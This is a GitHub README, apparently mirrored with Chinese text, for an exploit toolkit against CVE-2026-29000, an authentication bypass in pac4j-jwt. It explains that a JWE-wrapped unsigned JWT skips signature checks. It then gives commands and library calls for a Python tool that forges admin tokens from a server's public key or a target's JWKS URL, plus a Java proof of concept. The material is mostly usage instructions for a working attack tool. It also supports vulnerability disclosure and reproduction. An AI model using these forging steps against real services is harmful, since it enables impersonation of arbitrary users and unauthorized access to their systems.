kernelzeroday/CVE-2026-29000

GitHub: kernelzeroday/CVE-2026-29000

针对 pac4j-jwt 身份验证绕过漏洞(CVSS 10)的完整 Writeup 与利用工具,支持仅凭公钥伪造有效 JWE 包装的 JWT Token。

Stars: 0 | Forks: 0

# CVE-2026-29000:pac4j-jwt JwtAuthenticator 身份验证绕过 完整构建:详细说明、Java 进程内 PoC、Python token 伪造 CLI 和库、测试。 ## 概要 - **CVE:** CVE-2026-29000 (CVSS 10, CWE-347) - **受影响版本:** pac4j-jwt < 4.5.9 / < 5.7.9 / < 6.3.3(当使用 JWE + 签名配置时) - **问题:** JWE 包装的 **PlainJWT**(未签名)绕过了签名验证;仅持有服务器 RSA **公钥**的攻击者可以伪造 token 并以任意用户身份进行认证。 详情及 PoC 要求请参阅 [WRITEUP.md](WRITEUP.md)。 ## 目录结构 | 路径 | 描述 | |------|-------------| | `WRITEUP.md` | CVE 概要、根本原因、受影响版本、PoC 要求、参考链接 | | `poc/` | Java Maven PoC(针对 pac4j-jwt 6.0.3 的进程内绕过) | | `token_forge/` | Python 包:通过 PEM 或 JWKS URL 伪造 JWE 包装的 PlainJWT | | `tests/` | 针对 claims、forge、keys、CLI 的 Pytest 测试 | | `requirements.txt` | Python 依赖 (jwcrypto, requests, pytest) | ## Python (token forge) ### 安装 ``` python3 -m venv .venv source .venv/bin/activate # or .venv\Scripts\activate on Windows pip install -r requirements.txt ``` ### 运行 CLI ``` # 从 PEM (生成命令: openssl genrsa 2048 | openssl rsa -pubout) python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER" # 从 JWKS URL python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin # 选项: --exp-sec, --jwks-kid, --log-file, --enable-file-logging, --verbose ``` 输出:单行(伪造的 JWT);用法为 `Authorization: Bearer `。 ### 库 ``` from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url with open("pub.pem", "rb") as f: key = load_public_key_from_pem(f.read()) token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600) ``` ### 测试 ``` pytest -vv --tb=short --maxfail=1 # 或将警告视为错误: pytest -vv -W error -W always --tb=short --maxfail=1 ``` ## Java PoC ### 构建并运行(需要 Java 11+ 和 Maven) ``` cd poc mvn -q compile exec:java -Dexec.mainClass="Poc" # 或仅限 token (无进程内验证): mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only" # 使用自定义 subject/roles: mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B" ``` 预期结果:在进程内运行时显示 `[BYPASS] Authenticated as: admin#override` 及角色。 ## 参考链接 - [CodeAnt AI – 完整 PoC 和分析](https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key) - [pac4j 安全公告](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html) - [OpenCVE CVE-2026-29000](https://app.opencve.io/cve/CVE-2026-29000)
标签:CVE-2026-29000, CWE-347, GHAS, improper verification, Java安全, JS文件枚举, JWE, JWKS, JWT, pac4j-jwt, PoC, Python安全工具, RSA, Streamlit, Web安全, 伪造令牌, 安全漏洞, 安全规则引擎, 开放策略代理, 暴力破解, 漏洞复现, 蓝队分析, 认证绕过, 访问控制, 逆向工具